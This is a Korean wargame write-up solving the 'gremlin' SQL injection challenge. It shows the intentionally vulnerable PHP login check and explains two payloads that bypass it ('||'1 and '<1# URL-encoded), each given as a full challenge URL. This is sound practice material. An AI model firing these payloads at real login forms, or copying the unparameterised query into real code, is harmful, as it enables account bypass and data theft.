<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
위 소스 코드에서 중요한 부분은 5번째 줄부터이다.
$_GET[id]
와 $_GET[pw]
로 인해 get 방식으로 파라미터를 입력받는 것을 알 수 있다.
preg_match
로 인해 get 방식으로 입력받은 파라미터에 해당하는 값 /prob
, _
, \
이 발견되면 No Hack ~_~
을 출력하고 코드에서 나가게 된다.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
그리고 위 구문은 해당하는 데이터가 DB에 존재 시 최상단에 있는 데이터 1줄을 가져오는 함수이다.
풀이는 여러 가지 방법이 있지만, 이 문제는 2가지 방법으로 해결할 것이다.
sql injection의 기본은 0 or 1 = 1
상태로 만들어서 계정 정보를 가져오는 것이 목표다.
or
와 and
연산에서는 and
연산이 우선 연산 되기 때문에 '
로 pw
를 바로 닫아주면 앞에 0
은 해결이 된다. 그리고 추가적인 필터링이 없으므로 바로 or 1
에 해당하는 ||'1
를 넣어주면 나머지 조건도 해결이 되므로 문제가 풀린다.
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?pw=%27||%271
이 방식은 그냥 파라미터 길이를 극한으로 줄이다 보니 나온 이상한 방법 중에 한 개이다. (그냥 딱 기록용)
id=''
인 계정이 DB에 없기 때문에 id=0
는 False
즉 0
이라는 값을 가진다. 그리고 주석처리는 #
로 가능하기 때문에
?id='<1#
을 하면 0<1
조건을 만족하므로 쿼리문은 참이 된다.
여기서 #
를 URI에 직접 입력하면 인식이 안 될 것이다. URL 인코딩에 대하여 알아보면 해결될 것이다.
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=%27%3C1%23